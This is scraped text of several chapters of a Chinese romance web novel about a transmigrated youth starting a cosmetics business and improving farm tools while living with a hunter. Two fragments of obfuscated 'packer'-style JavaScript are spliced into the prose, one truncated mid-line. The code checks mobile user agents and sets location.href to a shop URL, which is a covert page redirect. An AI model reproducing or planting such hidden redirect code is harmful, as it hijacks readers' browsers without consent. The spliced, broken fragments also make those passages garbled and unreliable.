吴长庚斟酌着用词，才道：“你这倒是步步为营，环环相扣，我不如也。” 他眼带笑意，面色平和，是发自内心的赞叹。 只是嘴里有些发苦，活似苦瓜黄连一起塞他口中，还不得不嚼着咽下。 周慈青扭头就是略有得意之色，他挨近了吴长庚，哄着：“还得是多亏了长庚哥你呢，若不是你在，我早也没命了，哪还能有今日呢。救命之恩无以为报，唯有……” 吴长庚涨红了耳根，痴愣愣地盯着他嫩红的嘴巴，上下一张便是：“以身相许。” 周慈青乐得白嫩的脸儿都晕出了红，仰靠在吴长庚身上，说：“我可就是浑说的，长庚哥，你可别生我气。你恼了，我可是受不住的。” 吴长庚只一摇头，叹道：“好个促狭鬼。” 周慈青拿眼细细瞧他，不见愠色，方才放了心，去瞧店里头了。 惠娘已是说完了如何护理那一头乌黑的秀发，路人，客官，还是凑热闹的都张大了嘴。 周慈青混在里头，还能听见他们止不住地交谈。 一人道：“我可不曾想到，单是洗个脑袋就要费这么多事儿，柴火烧着的水都不知要提多少桶。” 另一人答：“原就是为的那些有钱人准备的，洗发的咱们买了倒是不觉有甚。可那护发膏和精油便是不必了，不值当。” 更有人插嘴：“那可说不准，左右价钱差不了几许，若是这头发生得不好之人一咬牙买来用用也是有的。” “浑说！那精油巴掌大一瓶，能同小臂长的洗发膏相提并论么。” 周慈青翘起了嘴角，不怕有争论，就怕无人理。 惠娘拿起了周慈青最紧要在意之物，也是他同苏知乐开这蔻颜坊的关键。 “此物乃是香皂。”惠娘一笑，“我说这名字大家便也能知晓，是用来洗身子的。先前洗发不便，我就不用给诸位客官瞧了。如今这物倒是简单。” 她吩咐手底下的人取油和水来。 待两只白皙的手沾满了油后，再去用那圆圆的香皂擦拭，三两下手掌就打出了白沫，轻轻搓揉，再放入清水中。 拿出来后，惠娘翻着手掌，叫人看：“是半点油污都不见了。” 底下人忙忙抵了手帕擦洗，惠娘又道：“之所以斗胆称它为香皂，自是因着此物在洗后，会残留余香。诸位客官可尽情挑选自个儿喜爱的香气。” 又说了价钱，只需几百个铜板，便宜得紧。旁的买不着，难道此物大家还不能买么。 至于脸上护肤润肤的，又有去死皮的磨砂膏，抹身上的身体乳，自是不必多提。 却说蔻颜坊经此一遭，一战成名了。 16.第十六章 “长庚哥，铺子里赚了大钱，苏知乐早早就跑来给我分钱。我现在能还你钱了。”周慈青乐着呢，三五两下跑过去，拿出几锭银子搁吴长庚掌上。 吴长庚也为他欢喜：“早知你是个伶俐人，有此一遭也不算太奇。” 周慈青抿着嘴儿笑。 吴长庚把银子攥紧了又松，同他说：“要还也不急于一时。” 周慈青皱着鼻子，忙道：“若是不将钱还与你，我心里就闷得慌呢。你可不许同我退让。” 他霸道得紧，吴长庚也不能耐他如何，便攥紧了银钱，干着嗓子说好。 周慈青乐滋滋地说：“家中总算有些钱财盈余了，咱们把钱给攒着，日后有机会，也好去县城里买套宅子住。” 他凑近了吴长庚，喜笑颜开地讲：“我听苏员外说了，县城中有一片地的宅子后院还有温泉呢，冬日可就不愁洗浴了。” 他那黑黝黝的眼珠亮得比以往更甚，人也好看极了。 吴长庚嘴角带笑，苦涩了几分：“那敢情好，以你的能力，想是过不了多久便能攒下钱来。” 周慈青握上了他的手，说：“不说别的，算我厚颜夸大一回，有了宅子日后定是有长庚哥一份的。” 吴长庚轻轻推开他的爪子，无奈道：“无功不受禄，你的便是你的，要分清楚，怎可随意给旁人呢。你这性子，若是吃了亏该怎么办。” 周慈青不乐意了：“刚还夸人聪明呢，如今又改了口。长庚哥，你这心思可真难猜。我自是不会让自己吃了亏的，你也别同我如此生分。我在你家白吃白喝这么久，早就要羞死了，还不给我一个报答的机会么。” 吴长庚去看院子外，温和地说：“这是我愿意的。” 周慈青嘴巴撅着，要挂个小油瓶了，他也道：“我要分你宅子住，那也是我愿的。要是旁人我指定不会这样大方呢，我看人还不准么。长庚哥，你也别小瞧我。” 吴长庚失笑：“我从未小瞧过你。” 周慈青垂了脑袋，嘴巴抿了抿，赶紧道：“说来也好笑，咱们竟为了个还没影儿的事争论。” 他噗嗤一声笑了出来。 吴长庚也笑。 俩人说了一会儿话，早晨吃了汤饼就各自忙活去了。 周慈青不必如前段日子那么时时盯着铺子，也就不再进城。他赶着猪仔和两只小羊出去吃草了，大黑竟也跟在他后头。 吴长庚又去菜地，回来后就得把菜种子一一栽种下，浇水施肥都不得松懈。后头又得进山一趟，砍些柴火回来烧。 所幸家中有一口井，平日里吃水全靠这井，不必日日扛着水桶去外头打水回来，能尚且松活些。 乡里头的人家养猪养羊的不少，家里的小娃也算是小半个劳动力，虽是不能下地种田，可那松快些的农活却干得。 周慈青这么出来一趟，就瞧见好些七八岁的总角小儿同他一起放牛放羊，还有些身后背着个竹背篓，说是要打些猪草回去。 他们这些人家的猪一只只养得肥头大耳，小孩儿哪能吆喝出来吃草呢。不似周慈青，放的还是只粉猪崽子。 周慈青不晓得哪儿放羊好些，就跟在这些小孩身后走。他这不紧不慢的，生得又细白柔嫩，哪里像是出来放羊的，更似个清闲度日的小少爷。 有小孩同他攀谈几句：“我认得你，你同苏老爷家里的独子关系好，你们应该是顶好的友人，又为何来放羊呢？” 这小孩眼睛明亮，胆儿又大。旁的孩子都缩在他后头，只敢探头探脑地瞅，又哪里能像他似的跑过来跟人讲话呢。 周慈青摸了摸腰兜，却是忘带蜜饯饴糖了，索性放弃。 他好脾气地答：“苏少爷家中有钱，同我无甚关系。我想要吃羊，从羊羔就开始忙活，养大了才费不了更多的钱。” 小孩儿不大信，又说不出反驳的话。 其他人见他耐心好，又不凶，渐渐地也凑过来了，还有说有笑的。 周慈青就问他们读书吗，有的说读，有的说不读。 孩童大都天性单纯，周慈青一问就把所有事儿都七嘴八舌地抖落个干净。他笑眯眯的，更知道了村中不少事。 吴家村在苏员外的帮衬下，不但修了路，还请了一位夫子过来开私塾。也亏的这位老夫子祖籍本是吴家人，养儿养女都要彩礼嫁妆，为家中嚼用都得给这私塾办妥帖了。 村里家中独子或是攒了些钱财的，自是想方设法将孩子们送去私塾。“朝为田舍郎，暮登天子堂”在当朝可绝非戏言。 正是司空见惯，便是乡村里人也咬咬牙都要送孩子入学堂。 没个足够钱的，大都是送自己最偏爱的孩子进私塾。不说读个功名出来，就是日后进铺子里当个算盘先生也是极好的。识字总比不识字吃的亏少吧！ “那你们缘何还在放羊放牛呢？”周慈青问。 起先同他搭话那小孩取了个好名字，是吴向松，他笑着说：“你还说自己不是公子少爷呢，我们又非是官宦有钱人的子弟，哪能完全不帮衬家里干活呢？私塾每日要去不过一二时辰，余下的时间便是自己诵读修习功课。自是要边读书，边来放羊放牛了！” 一席话说得周慈青羞愧不已，他拱手道：“受教了。” 许是为在他面前表现一二，赶牛赶羊的孩子们在乡间读书声愈发大了，脆生生的，叫那些田间地头里耕种的乡人们身心愈是畅快了。 周慈青笑看他们。 他赶羊是不熟练的，猪崽子不乱跑，哼哼唧唧拱草吃。羊羔却不似这般乖巧，生性就爱乱蹦乱跑。 周慈青才知大黑为何跟着自己了——它是牧羊的一把好手，便是羊羔跑得再远，也能追上赶它们回来，不让周慈青操心太多。 他喜上眉间，看大黑的眼神霎时变了，又说了些好话，许诺了大黑好多根骨头。 放完猪羊就要归家，他得赶紧回去做午饭。 远处遥遥走来两名赶着羊群，背上一竹篓猪草的少男少女，瘦得真叫一把骨头了，比之周慈青先前见到的瘦竹竿还要让他吃惊。 二人面孔有些木然，也不同村里人说话，见到同村的小孩也不搭理。 他们看周慈青的目光不大友善，只那波动不算深，亮光更是眨个眼儿就没了。 周慈青摸不着头脑，待二人离开，扭个脖子便问吴向松那俩孩子是谁。 吴向松一五一十告知他，说那是先前去做交引生意的吴愣子一家。这家人原是他们村的大户人家，早些时日就攒下大把钱财，看他们村里人鼻子不是鼻子，眼睛不是眼睛，就差鼻孔朝天了。 后头的事周慈青也知晓，做了生意赔了本，还欠了一屁股债，便不得不想方设法回老家还债了。 周慈青摸不着头脑地问：“他二人为何那样看我，瞧着像是怨极我了似的。” 吴向松冷笑：“自是和他爹娘一个德性了，我们村里大都是本分人，就他们一家自命不凡，哪知现在连村里人都不如了。原是苏家少爷也做了生意，竟半分不受影响，还好吃好喝，他们心里自是气不过的。你同苏家少爷好，他们也讨厌你了。” 周慈青问清了，也觉着没趣。他笑说：“左右我又不同他们家打交道，碍不着我。倒是你，竟是村里的小百事通，真真让我吃惊。你读书也不差，将来定会出人头地的。” 吴向松不好意思地抿嘴笑笑，又是爽快地说：“这事儿你找我们村其他人一打听就知晓了，算不得什么。” 周慈青同他你一言我一语地互夸了两句，草草说完，各自分别。 大黑在他旁边赶猪赶羊，周慈青用不着烦扰。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337907|140123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他一归家就瞧见了吴长庚，自是看清了他手中还抓了只鸟。 才入春不久，南飞的鸟陆陆续续地往北归，这只不幸的鸟儿就落到了吴长庚手中，即将成为他们中午的一盘菜。 周慈青有幸参与到把这只和鸡不相上下的鸟做成吃食的忙活中。 吴长庚用开水烫了鸟，把毛都给拔干净。周慈青接过洗净又挖去内脏的鸟，加麻油、盐，再用水煮，放花椒和葱。 灶膛里的火烧得正盛，没一会儿水就开了，换了文火，才把这鸟给烧熟。 鸟捞出，切片，再佐以酒和其他料汁。 一道香气浓郁的黄金鸟出锅。 入春后菜色多了，可捣腾的不少。 周慈青还同吴长庚做了两条煎鱼，炒了些能吃的菌菜，配上一小碟酸菜和米饭，中午这顿倒不凑合。 周慈青的饭量比吴长庚是大不了的，好在他今日出去跑了一阵逛了圈，也饿了些，倒是吃了不少饭菜填肚子。 “过段日子县令就要下乡到村里劝课农桑了。”吴长庚提了一嘴，“菜种下了，每日洒点水养着，我后面几日要进山一趟。待过几日也要管着地里，去借耕牛翻地。” 周慈青说：“我看着地里头，不叫你担心。” 吴长庚不语。 周慈青睁圆了眼儿，问：“长庚哥，你竟是不信我？” 他这恼着呢，吴长庚问：“你可曾种过地？” 周慈青半天才道：“……养过花儿。” “那……”吴长庚话只开了个头，就听得周慈青跟那蚊子似的唯唯诺诺—— “后头又死了。” 顶着吴长庚不信赖的目光，周慈青恹恹：“好么，我不胡乱操心地里的事了。” 吴长庚刚要出言安慰他几句，周慈青自个儿就好了，还问着他：“长庚哥，你去那山里头待着，晚间还要回来么？” 眼瞧着他不失落了，吴长庚松了口气，点头：“要回，午饭就不回家吃了。” 周慈青眉眼间笼上了忧愁，他道：“那成，我们早早地起来做你午时要带去吃的。我琢磨琢磨包子怎么做，带些热乎的饼子过去。” 他又道：“若是拎个大竹筒过去，里面做些焖饭炒饭，滚在火堆里热一热就能吃，这可行么？” 吴长庚哪有不应的。 “此前我上山打猎都是吃些冷食，再吃好些便是带上盐，捕些身量小的动物烤着吃。不似你来了，我倒是过得舒坦不少。” 吴长庚这话说得真心实意，周慈青心里也欢喜。 周慈青说：“那我还是你的福星呢，这真叫我高兴了。对了，长庚哥，你的田在哪，倒是领着我去瞧瞧，说不准我还能帮你施肥呢。拔草我不行，沤些草木灰在上边我总能干上些。” 吴长庚拗不过他，下午太阳不大时就带他去瞧瞧。 “这二十亩便是我的地了。土地税收不算重，待丰收时，给朝廷交二，我们留八。可折钱交税，有时会征劳役。”吴长庚一一答了。 周慈青面都白了：“服役？” 吴长庚温和地说：“不用担心，可用钱财抵劳役。” 不然为何他攒下的钱财才买些人参便用完了，有些自是花在了这上头。 周慈青心给放回了肚里。 他忧心忡忡：“一人就种这么多地，长庚哥你可真辛苦。” “我一人吃饱，全家不饿，不算劳苦。何况实在忙不过来，请帮工便是。”吴长庚心平静和地说。 周慈青还是觉着他实在辛勤，怨不得长得这般结实。吴长庚身上的腱子肉叫他瞧一眼，面皮就红一回。 回了家，周慈青瞥见放在屋檐下的农具，心头忽地来了主意。 若是将农具再改进些，长庚哥是不是就用不着那么辛苦了？ 17.第十七章 当朝农具有曲辕犁、踏犁、秧马和耧车，俨然是较为完备之用具了。 小农经济注定了农具演化之缓，周慈青所做之事也不过是在这基础上更精细地改良一番。若说更精良一些，便是现代化的农业器械了，非是他一人之力能办到的。 周慈青思忖着，拿了纸笔，蹲在农具旁写写画画，涂了又改，改了又涂。 吴长庚过来瞅了眼，不曾打搅他。 他心中冒出来个猜测，不由一惊。叹了口气后，又进灶屋去给周慈青熬他的人参燕窝，拉着大黑不去打搅他。 院里鸡鸣的声音时有响起，猪仔哼哼直叫，间或夹有羔羊之声。 周慈青思量着改下了所有，拾起纸张就往屋里奔，再将那几张纸拍桌上，笑道：“我琢磨出了几个改良农具的法子，不知此法制作出的农具是否更优良，不若试上一试。” 他在外头忙活了半天，光洁额面冒出细密汗珠，双颊都红了，只一双眼睛亮得惊人。 吴长庚有些心揪，他家是不用手帕的，只得拿汗巾去给周慈青擦擦额上的汗。 他手里头的动作不慢，嘴上还道：“你既画出来了，就去同我找村里的木匠老李头，叫他做出来试试。他上了年纪，就只靠着接些木工活儿度日，想来能早些如你的愿。” 擦完了周慈青额上的汗，他不紧不慢地收回汗巾，女子所用的手帕在脑中忽地一闪而过。 那样精细的物件他是不曾用过的，以前也只是匆匆一瞥，不大在意。 吴长庚想着，也就是周慈青用得了。 周慈青喜上心头，又道：“长庚哥，你真信我呀？” 旁人面前，若是他说上这些，不得吹个天花乱坠，说个口干舌燥才会叫他勉强一试，哪里像是吴长庚这般痛快。 平日里也确实只吴长庚这儿，竟是从未疑过他。不过那么一说两句，便马上敲定了。 他心里甜滋滋的，活像饮了几口蜜。突然生起的某丝异样也叫这份甜给压了下去，未曾深想。 吴长庚说：“你素来聪颖，才智过人，我如何不信你呢？” 他将放凉些的人参汤给周慈青拿去吃，一旁还有燕窝等着他。 周慈青哪怕吃烦了也不抗拒，喝完人参汤还说：“农具打好了，若是得用，长庚哥往后就不用那般辛苦了。” 他还说：“再待我再多挣些钱，我们也学苏员外，雇些人来种咱们的地，你便再不用下地劳苦了。” 他眉目如画，好似薄雾忧愁盯着吴长庚，眼中缠缠绵绵的心疼，脉脉含情。 吴长庚心跳骤然失了一拍，饶是清楚周慈青不过是生了副软心肠，却还是沉在他的眼眸中，醉如浸在甜酒的小虫。 周慈青吃完燕窝，就拉着吴长庚马不停蹄寻了那老李头——他是一刻都等不得。 那老李头尚未分家，同自己几个儿子住一起，女儿嫁入邻村，逢年过节才回家中一趟。 三个儿子中仅有一个继承了他的木工手艺，老大去县城里拨算盘，老三如黄牛般在家中勤勤恳恳种田。 吴长庚一一说与周慈青听。 周慈青笑道：“长庚哥，你平日里总不同人往来，我还当你什么都不知晓呢。” 吴长庚轻咳一声，耳根泛红，说：“乡里乡亲的，路过时总会听一耳朵，便知晓不少。” 他只是不爱同人打交道，并非是两耳不闻窗外事了。 周慈青心里有了数，嘴角也高高翘起，他同吴长庚说：“我晓得了。” 老李头一家有几个孙子孙女在，大的能下地走，小的就让嫂子婆婆背在背上。 一进门就有木屑横飞，地上也尽是些木尘，铺了薄薄一层。 他家中成年男子只余老李头和老二，其余二人皆在城内。老李嫂带着孩子，女人大抵是去地里头忙活了。 一见周慈青和吴长庚款款而来，一家人俱是吃惊不已。 这哪是稀客，简直是罕客。 好在老李头有了春秋[1]，自是经历过大事之人，稍惊片刻便沉着下来，问他们来作甚。 周慈青笑脸待人：“李叔，我带着长庚哥冒昧打扰，您可千万别见怪。我听长庚哥说，您是这村里最厉害且有名望的木匠，是以找上门，想让您做些东西。” 老李头那张面孔笑成菊花：“你这小子好会说话，我哪里有多厉害呢。” 可巧了，他家小孙子也在一边拍手说着爷爷厉害的话，叫他更是乐得没边。 他儿子李老二赶忙着提醒：“爹，哪有叫客人站院里的理，快些进来吧。” 经他这般打岔，老李头也回过神来，赶忙邀他二人入内。 周慈青举止有礼，生得又风流俊俏，哪里像个农家人。走到他身旁，旁的人不自觉就矮了一头。 尤其是屋内院中一片狼藉，老李头一家原是不在意的，乡里乡亲的有何未见过的，如今倒是难为情了些。 老李头讪讪地笑：“家里头一堆的事，又都是些不争气的懒货，都不晓得打扫打扫屋子，你们可别见怪。” 周慈青笑笑；“哪里会呢。” 他是不紧着喝水，刚进屋子里就拿出自己那两张涂涂抹抹的纸，连比带划地告知老李头：“……这是改良一下农具，我便是这般想的，也不知道可行不可行。李叔，你觉着呢？” 曲辕犁已是封建农具的顶峰，再改良便是深耕犁，是在这曲辕犁之基础上改进大小轻重，算不得什么。 自是着手于其余地方，周慈青琢磨了许久，才考量到可在曲辕犁的扶手部分增加防滑和减震，免得吴长庚在种地时手累酸痛得厉害。再来则是对踏犁的踏板进行改良，使其更加符合人体工程学原理，叫他踩踏更为省力。三来便是对耧车的播种装置改进一二，兴许能够更加精准地控制播种量和播种深度，好叫种下去种子的发芽率能够提升些。最后便是秧马，倘使加了小型齿轮，想来会用着更轻省些。 这样一来，不说是改善多么精良，粮食产量又如何增长，至少吴长庚后面耕种时便不至于太多劳苦。 吴长庚见他一口气说了长段的话，又细细地同老李头解答，嘴巴都说干了，连忙奉上倒在碗中的水。 周慈青喝了一口，温水滑入喉，喉咙不至于发干发燥得难受。 老李头听得真切，原是看不懂他那胡乱涂抹似的图纸，经他说了一遭，又仔仔细细问过后，便弄清楚了。 他承诺道：“若是不急的话，三天便能给你做好，待三日后你再来我家拿就可。急的话最多一日半我就给你送来。” 周慈青说：“不急的，您慢慢做便是。那就多谢李叔了。” 吴长庚也陪着他道了谢，倒是叫老李头一家又唬了一跳。 周慈青问过后便付了钱，这才施施然离开。 这三天过得极快。 吴长庚是进山打猎去了，每日天刚蒙蒙亮就打床上爬起来，收拾收拾行囊就要起身往那山里头钻，夜里头天黑了才归家。 他一起床，周慈青便也跟着爬了起来。 周慈青是带了满脑子现代那些新奇的吃食，脑子活泛得很。除却刚来这儿时，还不大会使灶屋里的锅和灶膛，后头会了，做出来的吃食就没有味道不好的。 他第一日给吴长庚带了竹筒饭，加了糯米，腊肉，豌豆，胡萝卜。佐以盐，酱油，油。要吃时就烧火，再将竹筒放入火堆中，直至炭烤得竹筒表面焦黄，便能吃了。 也有香菇腊肉，还有香肠竹笋，都是周慈青变着法儿给吴长庚做的。 顾虑到吴长庚的饭量，他每日都要盛满五根竹筒叫吴长庚带着走，免得他中午饿肚子。 吴长庚不愿周慈青同他一块儿早起，便叫他多睡儿，不必勉强自己。 周慈青摇头：“哪里是勉强我呢，我这也是愿意的。夜里头睡那般早，白天自然不会懒躺着。况且那菜都是你来切的，我不过是忙活着塞进竹筒里，算得上什么呢。” 见他乐在其中，吴长庚便不再劝。 周慈青也顺带着给自己塞了一竹筒的饭，留在午间滚进那灶膛里，烧热了再吃。 他在家里头喂鸡喂鸭喂大黑，上午吴长庚前脚一走，他后脚就赶着猪羊出去。 同村里小孩混熟后，他竟成了孩子王。 一直是在村中领头的吴向松问他：“我听人说，你和苏少爷在县城里做了生意，赚了大钱，为何还留在村中呢？” 周慈青抻了个懒腰：“哪里又赚了多少呢，不过是尚且能糊个口罢了。你想，这出人出力都是苏家的，我又能拿多少钱。再者，我想你们应是知晓我自寒冬便生了场大病，钱财都要花在这医药上。汤汤水水的，加上人参和燕窝吃了不少，哪还有余下的钱财。” 吴向松说：“怪说不得呢。我本不是在说你们为何不去县城里住，我是想着你聪颖，读书定是不差的，怎么不去考取功名。现在想来，你身子骨弱，要是真去考上一场，碰上寒冬腊月的在那贡房里，只怕是命都要去掉半条。” 周慈青满脸的敬谢不敏，连道：“你知晓便好。你自个儿好好读书，切莫伤了身体，免得往后后悔都来不及。” 周慈青是读得来四书五经，可若是叫他去细细钻研，那便是让他犯了难。 更遑论科举还有那写诗写策论，他是一概不会的。 他不大喜读书，却爱听这些幼童们的朗朗书声。最近他就将买来的蜜饯和饴糖分去，给他们甜甜嘴。 得了吃的，放羊割草的幼童们更是喜笑颜开，读书声越大了。 周慈青听着还犯了困，若非早晨起来，这些草上生了不少露珠，连他的裤腿都沾湿不少，他只怕是早坐下来打起盹了。 一个多时辰后，那些孩子们陆陆续续归家，周慈青也没停留。 眼瞅着前面一堆羊群涌过，没几天又碰上的吴愣子家俩孩子又碰上了他，还恨恨看了他两眼。 周慈青是懒得同人计较的，何况是俩孩子，犯不着上赶着吵闹。 可他成日里被这俩孩子糟心地恨来恨去，心里也不大痛快。回去就打算找苏知乐，让他自个儿去解决这些恩怨。 说曹操，曹操便到。 吴长庚进山第一天，周慈青放羊归家时便碰上了苏知乐。身边竟也没跟个小厮护卫，就他一人便跑来了。 正如周慈青没料到这才几天他就忙不迭跑来找自己，苏知乐也不成想他竟在放羊。 周慈青睨了他一眼：“这叫勤俭持家，可懂？” 苏知乐哼哼两声：“怕不是悭吝吧，你可是赚了……” 周慈青一把握住他的嘴，不叫他多话：“财不外露，你可曾听过？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏知乐点头：“对，想同咱们定下大单子都有不少呢。若单单只是卖与县城里的人，姑且还能卖得过来。亏就亏在咱们供应不上，还有选择和谁签，也是件麻烦事。” 周慈青托腮看他，平静开口：“你爹没有帮你把关吗？” 苏知乐支支吾吾的，半天才道：“他叫我同你学，咱们的事，他不插手。” 周慈青皱起了眉，陷入沉思。 苏知乐还当他是觉着麻烦，连忙道：“我爹说了，再叫你出力这么多，便再划一成利与你。” 周慈青说：“并非是钱财之事。我不过在想，该如何卖这单子才好叫利益最高，此事非同小可——你家中权势如何？” 苏知乐只知道答他的话：“州上有做刺史的叔叔。” 周慈青看了他一眼。 苏知乐浑身不自在：“你这是何意？” 周慈青饮了一口奶茶，笑道：“有个刺史叔叔还不知生意如何做，竟将那些黄金往水池里砸，怨不得你爹那般生气。” 苏知乐垂下了头，小声说：“过去的便让它过去吧，往事也莫要再提了。” 周慈青失笑，摇头：“好在我们上头有人，便不至于太过畏惧别人。后头你还要送些礼钱给你叔叔，你要知道齐大非偶，若是一般人手里头有了赚钱的营生，可不一定能够保得住，咱们这也算是侥幸。” 苏知乐点头：“我知晓的。” “既如此，晓得了你家中有些背景，便可以放开手脚了。”周慈青于是约了个时间，叫苏知乐唤上那些要同他们一起做生意的，在城中最大那家酒楼约见。 “后头还要多多拜访地头蛇，舍他们些好处，以免生意做不下去。” 苏知乐说：“这事儿有我爹在忙，我家一向是做生意的，早早就走动着呢。咱们这事儿有他在忙活，不必烦扰。” 周慈青颔首。 这便是他为何不自己想办法借钱自己干，一来是没那么多的人和物，再来便是他没有强硬的后台，守不住生意。如今有个体贴的合作方，便是少拿几分利钱也是好的。 “如今瞧来，这坊里还是要招些人手。在农忙过后也可找些临时的，吴家村也有不少。我们既住在此处，便要想法子施恩此地，正如你爹此前所做的那般，如此才是长久相处之道。工坊也要分开来，一个地儿运往另外一个地儿，以免方子叫人学了去。” 周慈青叮嘱得极细，苏知乐也都一一应下。 待一海碗的奶茶饮下，苏知乐便要告退了。 周慈青叫住了他。 苏知乐美滋滋地说：“你要留我用饭么，也不是不成。” 周慈青似笑非笑瞥他：“那倒是要叫你失望了。我是想同你说，上回和你一起做生意的吴愣子一家不老实，想是说了你不少坏话，连带着他家孩子都视你为眼中钉肉中刺，连带着我也一块怨上了。此事你还是早日料理了为妙，以免酿成大祸。” 苏知乐也不是真就蠢得无可救药了，他眉头也跟着紧锁了一瞬，哼道：“不过一家子泥腿子，我定会料理好，不叫你小瞧了。” 周慈青蹙了蹙眉，还是道：“不可做得太过。” 苏知乐摆摆手：“你怎的同我那夫子一样，我连鸡都没杀过，哪里会干什么坏事呢，不过警告他们一二便是，你便放心吧。” 18.第十八章 入夜，天色暗沉，夜凉如水，圆月高悬。 周慈青如何也静不下心，他坐院子里等着。因着无事可做，他便逗起了大黑，心里头也思量着做生意的规划。 外头脚步声渐起。 吴长庚家住得偏，不在村种，多数时候听不见村中人往来的脚步声。 大黑也没胡乱吠叫。 周慈青立马站了起来，跑在院门处，笑吟吟地看着那道渐行渐近的身影。 吴长庚还是穿着那一身短打，冬日的夹袄早已褪去，身形高挑劲瘦，瞧着便孔武有力。 他腰上束着木筒子，里头装着几支利箭，都是他这些年攒下的宝贝。箭头是铁制的，平日里还都磨了又磨，免得生锈了。 背上是一柄长弓，此为六石弓。吴长庚可轻易拉起，奋力一射，连虎狼都不在话下。 周慈青便不大行了，他连弓都拉不开，拿起都嫌费劲。 吴长庚乃是猎户，射艺高超，气力又足。他本该是军中好苗子，将来升官发财亦是手到擒来。 可如今军户不受重视，且声名狼藉，还是拿钱所雇。说不得上头就有人打压，不如乡间平淡快活。 此事稍作不提，吴长庚入山间一趟，收获也是颇丰。 他右肩抗弓，左肩持背篓，里头皆是猎物和采来的药材。 周慈青就瞥见了兔子和鹿，再来便是两只山鸡。 他近些时日吃得也多些了，屋中还添置了些家具、衣物。屋里可不只是多了张嘴，吴长庚再不能如此前那般逍遥快活。 自是不再一人吃饱，全家不饿。 吴长庚这也是头一回碰上有人等的滋味。 从前他是独自一人打猎，归家后屋中一片昏暗，不似其余人家中那般温馨欢乐，阖家团圆。穿过了饭菜烟火香，跨过了几口人家低声絮语。 本该是冷烟冷炉，黑蒙蒙的屋子，只有大黑会踏着爪子朝他奔来。 本该如此…… 而今他家中点燃暖色烛光，饭菜焖在灶屋里，烟囱钻出淡淡清香。 模样好看的少年高高举起橘黄灯笼，身披遮风大氅，满目期待和笑容，同他说：“你回来啦。” - 吴长庚披星戴月归了家，放下战利品，先去洗漱了一遍。 大黑兴奋得很，老是在他腿边打转，不时低吠两声，吐出舌头，背后的尾巴晃出残影。 周慈青去喂鸡喂羊喂猪了，他也不让自己闲着，好日子是两手忙活出来的。 他也不忘同吴长庚说：“长庚哥，饭菜在锅里焖着，打开了就能吃。我没有等你，自己先吃了。” 吴长庚应了声好：“下次也别等我，免得饿着了难受。” 周慈青都笑着答应了。 “大黑我也喂了，你可不要瞧着它想要就都喂给它。”周慈青不忘转过身提醒吴长庚。 吴长庚又是一句好。 他去揭开了锅盖，竹条支着的蒸笼片上，隔着三盘菜，一碗饭。下面是滚烫的热水，灶膛里的文火一直燃着。 余温尚在。 还不曾彻底升了温，灶膛处便是最暖和的地儿，大黑常常在那趴着取暖。 菜有粉蒸肉，清炒蘑菇。许是顾虑到他的胃口，周慈青还做了一道牛肉饼。三块巴掌大的厚饼子，闻着便喷香诱人。 吴长庚喉结上下一滚，敛去了眼中暖色。 周慈青忙活完了就坐在桌旁，瞧他吃饭。 他掰着手指同吴长庚说清自己今日所做之事：“第三日大抵就要同那些商人见面了，我们这生意早晚会做到全天下人尽皆知。” 吴长庚抬起头，借着从窗外轻轻挥洒下的月光，桌面左右摇曳的烛光，看清楚了周慈青明亮的眼眸，里头映着勃勃的野心。 如烈火燎原，上下跃动。 吴长庚喝下一口水，同他说：“我知晓，你定是能成功的。” 周慈青这时候才稍微显出点儿羞赧来，他道：“也是多亏了长庚哥你呀。我这回可不是翻来覆去说什么救命恩人，我知道你也不爱听。我从来没多大的野心，也不知自个究竟能否做到。倘若不是你一概支持我，我怕是做不成的。” 他不知自己在吴长庚眼里究竟是何模样，这个世界本该是浅显易懂的常识，他有时竟也懵懵懂懂，模模糊糊。 换成其他人，不说对他生出些疑虑来，也是哄着骗着他，将他那些方子卷了去。再不然便是不信他的话，只是平静疏远他。 吴长庚说：“幸得早些年前读过一两本书，同家里逃难来时也见了些世面，不至太过蒙昧，晓得你能成事。” 周慈青心道定然不止如此呢，世间能完全信他人的又能有几人。 他朝吴长庚露出个笑脸来，说：“长庚哥，快吃吧，这饭菜放凉了也不好。” 吴长庚便听他的，周慈青又说起了话：“我还不单单只是想做这脂粉生意呢，纸张我也想沾染。” 周慈青笑着道：“我知现在纸张算不得少，可若是方子再改良些，染上色，亦或是做成花笺，又或是书签，同样能翻出花来。虽说前代有了，现在便不能做得更好了么，我看不尽然。” 后世的文创行业为何向来兴旺不休，便是有需求，且商人们总会层出不穷，千方百计地想出来赚钱的法子。 他不过是站在前人的肩膀上有了些主意罢了。 周慈青又道：“再来便是，苏家还有个造纸的铺子，如若舍弃，便要亏损些钱财，又让一些人平白没了营生，反倒不美。我们如今住在吴家村，也可给村中人提供一些活计，好叫大家能过个肥年。我……我也不愿瞧着他们一向误解你。” 后头那句话周慈青说的轻，似是有些羞赧，到底是说了出来。 可刚一出口，双腮就染上了红。 吴长庚吃的饭菜都是咸口，不见甜的，那碗麦饭也是尝不出多少甜蜜的滋味。 可他吃着这些饭菜，竟吃出了甜味，一路淌到了心田。 他吃过了饭，就忙着去清洗碗筷，还同周慈青道：“可惜谈判时我不能陪你去了。” 周慈青不在意地说：“这又如何，只要我想着你，我心里就平静了。” 吴长庚怔怔看向他。 周慈青猛地反应过来自己方才说了些什么轻浮话，耳根也红了些。 吴长庚收回了视线，换了话道：“我这几日进山采些新鲜的人参来，再交与药铺掌柜的炮制，药效定要比那些陈年的好些。” 周慈青不由触动，他道：“还是长庚哥好，总关心着我。” 吴长庚不作声了。 二人都沉默着，又想拿眼去瞧，又觉着有些不大好意思。 外头大黑的犬吠打断了他们两人的静默，周慈青拔腿就跑出去瞧了。 